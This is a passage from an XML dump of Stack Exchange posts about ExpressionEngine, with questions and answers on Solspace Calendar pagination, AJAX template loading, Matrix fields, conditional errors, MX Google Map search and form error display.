  <row Id="13870" PostTypeId="1" CreationDate="2013-09-18T13:41:42.177" Score="1" ViewCount="306" Body="&lt;p&gt;I have a list of Solspace Calendar events that I would like to paginate. According to the documentation, the pagination parameter and variable pair should work the same as channel:entries. I am able to limit the events to 10 with the limit=&quot;&quot; parameter, but the {paginate} variable pair does not display the pagination links.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events calendar_name=&quot;Events&quot; limit=&quot;10&quot; date_range_start=&quot;&quot; orderby=&quot;event_start_date&quot; sort=&quot;ascending&quot;}&#xA;            &amp;lt;div&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;h5&amp;gt;{event_start_date format=&quot;%j %F %Y :: %g:%i%a&quot;}&amp;amp;ndash;{event_end_date format=&quot;%g:%i%a&quot;} &#xA;                &amp;lt;p&amp;gt;{event_location}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/h5&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;hr /&amp;gt;&#xA;            {paginate}Page {current_page} of {total_pages} pages &amp;amp;nbsp; {pagination_links}{/paginate} &#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-10-03T19:47:43.627" Title="Solspace Calendar Pagination" Tags="|pagination|solspace|calendar|solspace-calendar|events|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13871" PostTypeId="2" ParentId="13864" CreationDate="2013-09-18T13:52:10.567" Score="1" Body="&lt;p&gt;Here are a couple ways you can start to debug this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Look at the rendered HTML source (view source after the page is loaded). What do you see for the &lt;code&gt;title&lt;/code&gt; tag? Including this in your original question will probably help you get a better answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Run the HTML source through an &lt;a href=&quot;http://validator.w3.org/#validate_by_input&quot; rel=&quot;nofollow&quot;&gt;HTML validator&lt;/a&gt; and see if there are any errors.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-09-18T13:52:10.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13872" PostTypeId="2" ParentId="13795" CreationDate="2013-09-18T14:08:17.837" Score="1" Body="&lt;p&gt;Pretty sure you should be able to use multiple calendars on one page but in this case it didn't work so embedded each calendar in templates to solve. &lt;/p&gt;&#xA;" OwnerUserId="541" LastActivityDate="2013-09-18T14:08:17.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13874" PostTypeId="2" ParentId="13870" CreationDate="2013-09-18T15:22:13.583" Score="2" Body="&lt;p&gt;You are missing the &lt;a href=&quot;http://www.solspace.com/docs/calendar/events/#paginate&quot; rel=&quot;nofollow&quot;&gt;paginate&lt;/a&gt; parameter on your opening &lt;code&gt;calendar:events&lt;/code&gt; tag. Try adding &lt;code&gt;paginate=&quot;bottom&quot;&lt;/code&gt; and see if that fixes your issue.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-09-18T15:22:13.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13875" PostTypeId="1" AcceptedAnswerId="14771" CreationDate="2013-09-18T16:51:32.050" Score="3" ViewCount="183" Body="&lt;p&gt;I have a simple page with a simple PayPal Buy button on the page.&#xA;When a person buys an item, and completes the purchase on PayPal, they will be returned to a thank-you page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to NOT have people access the thank-you page if they have not actually purchased anything, I would like to give every user a unique ID in the return url and use it as a url_segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the user returns, the url will look like www.domain.com/thank-you/34567654&lt;br&gt;&#xA;In the template I could do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if current_id != segment_2}&#xA;  {redirect='/'}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does something like this exist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know how to pass the option in the PayPal return url, but can one generate a unique user id (session id) and compare it like in my example. Use it as a template var?&lt;/p&gt;&#xA;" OwnerUserId="777" LastEditorUserId="69" LastEditDate="2013-10-20T22:16:15.447" LastActivityDate="2013-10-21T05:00:45.690" Title="Use unique user id in url segment" Tags="|url|sessions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13876" PostTypeId="1" CreationDate="2013-09-18T17:21:52.740" Score="1" ViewCount="3551" Body="&lt;p&gt;I am using ExpressionEngine (2.4) with the Solspace Calendar add-on. I have been following the tutorials here for reference:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Part 1:&lt;/strong&gt; &lt;a href=&quot;http://themetaq.com/mobile/articles/ajax-ee-sort-and-order-data-with-expressionengine-and-ajax-part-one&quot; rel=&quot;nofollow&quot;&gt;http://themetaq.com/mobile/articles/ajax-ee-sort-and-order-data-with-expressionengine-and-ajax-part-one&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Part 2:&lt;/strong&gt; &lt;a href=&quot;http://themetaq.com/articles/ajax-ee-sort-and-order-data-with-expressionengine-and-ajax-part-two&quot; rel=&quot;nofollow&quot;&gt;http://themetaq.com/articles/ajax-ee-sort-and-order-data-with-expressionengine-and-ajax-part-two&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am using a template with a regular 'index' page (where the JS and HTML is) and an 'ajaxlist' template in the same group that contains the solspace:cal stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready( function() {&#xA;  var sortTable = $('#sort-table tbody'),&#xA;      trigger   = $('.trigger');&#xA;  trigger.click( function() {&#xA;    var ajaxTarget  = '&amp;lt;template name&amp;gt;/ajaxlist/' + $(this).attr('data-orderby') + '/';&#xA;    sortTable.load(ajaxTarget);&#xA;    return false;&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;index:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='&amp;lt;template name&amp;gt;/ajaxlist/test'}&quot; class=&quot;trigger&quot; data-orderby=&quot;test&quot;&amp;gt;Test&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;table id=&quot;sort-table&quot;&amp;gt;&#xA;  {embed=&quot;&amp;lt;template name&amp;gt;/ajaxlist&quot;}&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ajaxlist&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tbody&amp;gt;&#xA;{if segment_3 == 'test'}&#xA;{exp:calendar:cal first_day_of_week=&quot;{current_time format=&quot;%w&quot;}&quot; date_range_start=&quot;today&quot;}&#xA;    {display_each_day}&#xA;        {events}&#xA;            {event_title}&#xA;        {/events}&#xA;    {/display_each_day}&#xA;{/exp:calendar:cal}&#xA;{/if}&#xA;&amp;lt;/tbody&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;please note that the ajaxlist code (without the js to load via ajax) redirects to the url appropriately and loads the data just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PROBLEM&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we add the JS it runs but instead of returning the stuff inside 'ajaxlist' it returns the entire web page again inside the &lt;code&gt;&amp;lt;tbody&amp;gt;&lt;/code&gt;! (Nesting the page within itself :p). I really don't know why and would like some help one what steps to take to remedy this to use in conjunction with ajax or with EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A coworker of mine suggested that the 'test' variable isn't working because we don't have (and rightly shouldn't have) anything named 'test'. I'm really confused at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should note that even when removing the 'test' element from all of the code and just used &lt;code&gt;&amp;lt;template name&amp;gt;/ajaxlist&lt;/code&gt; it still returns the entire page.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2013-09-18T17:59:41.270" LastActivityDate="2013-09-18T18:45:44.473" Title="Ajax is loading entire page instead of pertinent data" Tags="|solspace|jquery|ajax|solspace-calendar|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13877" PostTypeId="2" ParentId="13876" CreationDate="2013-09-18T17:37:33.107" Score="1" Body="&lt;p&gt;By &quot;entire web page&quot; do you mean it loads the current page instead of the fragment template content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try debugging the ajax call to make sure you're loading the right URL. I bet this is the issue. Most likely you need a leading slash added to the &lt;code&gt;ajaxTarget&lt;/code&gt;.  Assuming you are removing index.php from your URLs the path to your partial should be &quot;/template_group_name_here/ajaxlist/&quot; instead of &quot;template_group_name_here/ajaxlist/&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To debug, add &lt;code&gt;console.log(ajaxTarget);&lt;/code&gt; and see what value output in the web inspector console.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready( function() {&#xA;  var sortTable = $('#sort-table tbody'),&#xA;      trigger   = $('.trigger');&#xA;  trigger.click( function() {&#xA;    var ajaxTarget  = '&amp;lt;template name&amp;gt;/ajaxlist/' + $(this).attr('data-orderby') + '/';&#xA;    console.log(ajaxTarget); // &amp;lt;----- **ADD THIS TO DEBUG**&#xA;    sortTable.load(ajaxTarget);&#xA;    return false;&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could just keep an eye on the &quot;Network&quot; tab in the web inspector and see what URL is being requested by AJAX.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-09-18T17:43:50.030" LastActivityDate="2013-09-18T17:43:50.030" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13878" PostTypeId="2" ParentId="13876" CreationDate="2013-09-18T17:45:25.777" Score="1" Body="&lt;p&gt;What you are describing is expected behaviour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to load only a part of the loaded page, specify what container you want loaded like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sortTable.load(ajaxTarget + &quot; #container&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also described in the &lt;a href=&quot;http://api.jquery.com/load/&quot; rel=&quot;nofollow&quot;&gt;jQuery docs about the &lt;code&gt;.load()&lt;/code&gt; function&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1004" LastActivityDate="2013-09-18T17:45:25.777" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13879" PostTypeId="1" AcceptedAnswerId="13882" CreationDate="2013-09-18T18:07:14.963" Score="0" ViewCount="60" Body="&lt;p&gt;is there a way to make Matrix not display as a table in the backend, but simply as a group of stacked fields? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both WordPress and Drupal have &quot;field collection&quot; modules/plug-ins where each item is presented as a mini-form instead of in table format. Assuming Matrix is the only way to achieve a similar field collection in EE, I'd prefer the mini-form format. Otherwise, when a Matrix field collection has a lot of fields, you end up with a very wide table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any way to do this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1746" LastActivityDate="2013-09-18T18:37:28.553" Title="Make Matrix NOT display as a table in the backend" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13880" PostTypeId="1" CreationDate="2013-09-18T18:19:45.653" Score="0" ViewCount="105" Body="&lt;p&gt;Folks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there's a maximum number of if statements allowed before things fall apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm evaluating if a field has content. If no, display nothing. If yes, display whatever I say. Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if segment_2 != &quot;product1&quot;}&#xA;{related_entries id=&quot;product2_specifications&quot;}&#xA;&amp;lt;ul&amp;gt;&#xA;{if max_height}&amp;lt;li&amp;gt;Maximum height - {max_height}&amp;lt;/li&amp;gt;{/if}&#xA;{if weight_in_lbs}&amp;lt;li&amp;gt;Weight - {weight_in_lbs}&amp;lt;/li&amp;gt;{/if}&#xA;&amp;lt;li&amp;gt;Overall length of body - {body_overall_length}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Overall Width - {overall_width}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Inside Seat Width - {inside_seat_width}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Inside Height - {inside_height}&amp;lt;/li&amp;gt;&#xA;{if legroom_length}&amp;lt;li&amp;gt;Legroom (Length) - {legroom_length}&amp;lt;/li&amp;gt;{/if}&#xA;{if height_from_ground}&amp;lt;li&amp;gt;Height (from ground) - {height_from_ground}&amp;lt;/li&amp;gt;{/if}&#xA;{if folded_dimensions}&amp;lt;li&amp;gt;Folded Dimensions - {folded_dimensions}&amp;lt;/li&amp;gt;{/if}&#xA;{if capacity}&amp;lt;li&amp;gt;Capacity - {capacity}&amp;lt;/li&amp;gt;{/if}&#xA;{if frame}&amp;lt;li&amp;gt;Frame - {frame}&amp;lt;/li&amp;gt;{/if}&#xA;{if floor}&amp;lt;li&amp;gt;Floor - {floor}&amp;lt;/li&amp;gt;{/if}&#xA;{if wheels}&amp;lt;li&amp;gt;Wheels - {wheels}&amp;lt;/li&amp;gt;{/if}&#xA;{if platform_base_size} &amp;lt;li&amp;gt;Platform base size - {platform_base_size}&amp;lt;/li&amp;gt;{/if}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/related_entries}&#xA;&#xA;{if:else}&#xA;&#xA;{related_entries id=&quot;product1_specifications&quot;}&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;li&amp;gt;Maximum payload - {max_payload_product1}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Weight in pounds - {weight_in_lbs_product1}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Overall Length - {overall_length_product1}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Overall Width - {overall_width_product1}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Frame width - {frame_width_product1}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;Inside Box - {inside_box_product1}&amp;lt;/li&amp;gt;&#xA;{if platform_base_size} &amp;lt;li&amp;gt;Platform base size - {platform_base_size}&amp;lt;/li&amp;gt;{/if}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/related_entries}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code works. Now, if I add a single if statement, the whole thing fails. For example, if I add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if inside_height}&amp;lt;li&amp;gt;Inside Height - {inside_height}&amp;lt;/li&amp;gt;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the first part, it throws an T_ENDIF error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the ifelse plug-in with no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also note that this is a snippet placed inside a template. Template has a Switchee switch but the error also occurs with a simple if statement.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;{case value=&quot;product2&quot;}&#xA;            {exp:channel:entries channel=&quot;product2_information&quot;}  &#xA;            {product_information}&#xA;            {/exp:channel:entries}&#xA;{/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where product_information is the snippet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could very well be an easier way to do this. If so, let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2014-04-07T12:34:36.167" Title="Max number of if statements?" Tags="|ee2|conditionals|advanced-conditionals|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13882" PostTypeId="2" ParentId="13879" CreationDate="2013-09-18T18:37:28.553" Score="1" Body="&lt;p&gt;In a word: no. Matrix (and Grid) are designed to have a fixed number of columns and have content added one row at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest solution would be to add several custom fields and just display them in order on the publish screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if that's out for whatever reason, then &lt;a href=&quot;http://devot-ee.com/add-ons/content-elements&quot; rel=&quot;nofollow&quot;&gt;Content Elements&lt;/a&gt; may do the trick for you.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-18T18:37:28.553" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13883" PostTypeId="2" ParentId="13880" CreationDate="2013-09-18T18:45:34.790" Score="3" Body="&lt;p&gt;There is no maximum number of &lt;code&gt;if&lt;/code&gt; statements. The &lt;code&gt;T_ENDIF&lt;/code&gt; error you're getting means that there's either a malformed or unclosed conditional somewhere in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First try removing your snippet from within the Switchee block to eliminate that, then remove/re-add your conditionals line-by-line to see exactly when the error starts.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-18T18:45:34.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13884" PostTypeId="2" ParentId="13876" CreationDate="2013-09-18T18:45:44.473" Score="1" Body="&lt;p&gt;So i figured it out with the help of @Alex Kendrick and @megatrond and combining their suggestions together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really don't know what it was. I incorporated the following items to get ther:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;preceding forward slashes&lt;/li&gt;&#xA;&lt;li&gt;sortTable.load(ajaxTarget + &quot; #sort-table&quot;);&lt;/li&gt;&#xA;&lt;li&gt;moved the &lt;code&gt;table&lt;/code&gt; into the ajaxlist template&lt;/li&gt;&#xA;&lt;li&gt;adding the &lt;code&gt;td&lt;/code&gt; and &lt;code&gt;tr&lt;/code&gt; elements&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's the final code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready( function() {&#xA;&#xA;    var sortTable = $('#sort-table tbody'),&#xA;            trigger     = $('.trigger');&#xA;&#xA;    trigger.click( function() {&#xA;&#xA;            var ajaxTarget  = '/&amp;lt;template name&amp;gt;/ajaxlist/' + $(this).attr('data-orderby');&#xA;            sortTable.load(ajaxTarget + &quot; #sort-table&quot;);&#xA;            return false;&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;index&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='/&amp;lt;template name&amp;gt;/ajaxlist/test/'}&quot; class=&quot;trigger&quot; data-orderby=&quot;test&quot;&amp;gt;Test&amp;lt;/a&amp;gt;&#xA;&#xA;{embed=&quot;&amp;lt;template name&amp;gt;/ajaxlist&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ajaxlist&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table id=&quot;sort-table&quot;&amp;gt;&#xA;&amp;lt;tbody id=&quot;sort-table-body&quot;&amp;gt;&#xA;&#xA;    {if segment_3 == 'test'}&#xA;    {exp:calendar:cal first_day_of_week=&quot;{current_time format=&quot;%w&quot;}&quot; date_range_start=&quot;today&quot;}&#xA;&#xA;        {display_each_day}&#xA;        &amp;lt;tr&amp;gt;&#xA;            {events}&#xA;                &amp;lt;td&amp;gt;&#xA;                    {event_title}&#xA;                &amp;lt;/td&amp;gt;&#xA;            {/events}&#xA;        &amp;lt;/tr&amp;gt;&#xA;        {/display_each_day}&#xA;&#xA;    {/exp:calendar:cal}&#xA;&#xA;    {/if}&#xA;&amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you both again for you help today.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2013-09-18T18:45:44.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13886" PostTypeId="1" AcceptedAnswerId="13929" CreationDate="2013-09-18T18:59:19.853" Score="1" ViewCount="175" Body="&lt;p&gt;I'm using MX Google Map to map various locations. However, when I use the &lt;code&gt;{exp:mx_google_map:form}&lt;/code&gt; and &lt;code&gt;{exp:mx_google_map:search}&lt;/code&gt; I can't return any results. I verified the information is filled out in the entry, but doing a search for the same zip code returns no results and the template debugger outputs this information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.011036 / 6.35MB) Tag: {exp:mx_google_map:search channel=&quot;glo-con&quot; reverse_geocoding=&quot;true&quot; address=&quot;&quot; long=&quot;&quot; lat=&quot;&quot; unit=&quot;&quot; radius=&quot;500&quot; prec=&quot;2&quot; prefix=&quot;&quot; address_fields=&quot;address&quot;}&#xA;(0.011161 / 6.36MB) Closing Tag Found&#xA;(0.011209 / 6.36MB) Processing Tags&#xA;(0.011244 / 6.37MB) Module Tag: Mx_google_map/search&#xA;(0.011260 / 6.37MB) Including Files for Plugins and Modules&#xA;(0.012097 / 7.28MB) Files for Plugins and Modules All Included&#xA;(0.012724 / 7.31MB) Beginning Final Tag Data Processing&#xA;(0.012749 / 7.31MB) Calling Class/Method: Mx_google_map/search&#xA;(0.012966 / 7.31MB) -&amp;gt; Class Called: Mx_google_map&#xA;(0.013003 / 7.32MB) -&amp;gt; Method Called: search&#xA;(0.070547 / 9.99MB) Returning No Results Content&#xA;(0.070693 / 9.98MB) -&amp;gt; Data Returned&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;strong&gt;/contact&lt;/strong&gt; page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mx_google_map:form result_page=&quot;/contact/results&quot; long=&quot;&quot; lat=&quot;&quot; unit=&quot;&quot;}&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;label&amp;gt;Address&amp;lt;br&amp;gt;&#xA;            &amp;lt;input name=&quot;address&quot; type=&quot;text&quot;&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;label&amp;gt;Radius&amp;lt;br&amp;gt;&#xA;            &amp;lt;select name=&quot;radius&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;100&quot;&amp;gt;100&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;50&quot; selected=&quot;selected&quot;&amp;gt;50&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;30&quot;&amp;gt;30&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;25&quot;&amp;gt;25&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;20&quot;&amp;gt;20&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;15&quot;&amp;gt;15&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;10&quot;&amp;gt;10&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:mx_google_map:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;strong&gt;/contact/results&lt;/strong&gt; page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Search Results&amp;lt;/h1&amp;gt;&#xA;{exp:mx_google_map:search channel=&quot;glo-con&quot; reverse_geocoding=&quot;true&quot; address=&quot;&quot; long=&quot;&quot; lat=&quot;&quot; unit=&quot;&quot; radius=&quot;500&quot; prec=&quot;2&quot; prefix=&quot;&quot; address_fields=&quot;address&quot;}&#xA;&#xA;    {entries}&#xA;        {glo-con-map}&amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;{/glo-con-map}&#xA;    {/entries}&#xA;&#xA;{/exp:mx_google_map:search}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something &lt;em&gt;very&lt;/em&gt; obvious?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Version information:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ExpressionEngine 2.5.4&lt;/li&gt;&#xA;&lt;li&gt;MX Google Maps 1.4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="223" LastActivityDate="2013-09-19T23:54:13.393" Title="MX Google Map's search functionality not returning results for existing locations" Tags="|mx-google-map|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13887" PostTypeId="1" CreationDate="2013-09-18T20:26:28.283" Score="2" ViewCount="283" Body="&lt;p&gt;I changed my tag pair from {exp:safecracker} to correspond with the new docs {exp:channel:form}. I even removed my tag pair and used the Basic Example from the docs with the same results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: EE::$channel_form_lib&#xA;&#xA;Filename: channel/mod.channel.php&#xA;&#xA;Line Number: 5259&#xA;&#xA;Fatal error: Call to a member function entry_form() on a non-object in /Users/bsartain/Documents/git/whitetailslam/admin/expressionengine/modules/channel/mod.channel.php on line 5259&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I noticed some others having similar issues but none with the same error message as above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2078" LastActivityDate="2014-02-02T11:33:48.120" Title="Safecracker error after upgrading from 2.6.1 to 2.7" Tags="|safecracker|2.7.0|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="13888" PostTypeId="2" ParentId="13817" CreationDate="2013-09-18T20:48:37.953" Score="1" Body="&lt;p&gt;There is no such conditional as &lt;code&gt;first_item&lt;/code&gt; in &lt;code&gt;exp:channel:entries&lt;/code&gt;.&lt;br&gt;&#xA;You need to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;orders&quot;}&#xA;  {if count == 1}...{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But you are repeating the first row inside and outside of the &lt;code&gt;exp:cartthrob:order_items&lt;/code&gt; tag, so it will be shown anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the &lt;code&gt;order_id&lt;/code&gt; in &lt;code&gt;exp:cartthrob:order_items&lt;/code&gt;, what does &quot;doesn't work&quot; mean? Nothing gets displayed? Have you tried adding &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-09-18T20:48:37.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13889" PostTypeId="1" CreationDate="2013-09-18T21:35:14.267" Score="2" ViewCount="472" Body="&lt;p&gt;I'm using freeform pro and I have a functioning form, built using the form tags. I have the inline errors working as hoped, but what doesn't work from a UX perspective is lack of a general error at the top of the page as well as the inline errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the inline error is visible to the user as the page reloads, then it is fine. If the error is below the fold, there is nothing telling the user why their form didn't successfully submit &lt;strong&gt;until&lt;/strong&gt; they scroll down and notice the inline error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get a general error at the top as well as the inline errors, so the user knows to scroll down to find the specific error? The general_errors tag pair seems to be place  that errors will be displayed if they are not picked up by a specific inline error. If an inline error shows and that is the only error, then nothing is output by the general_errors tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want something at the top of the form like &quot;There were some problems with your form. Please scroll down to view the errors&quot;. I would want something 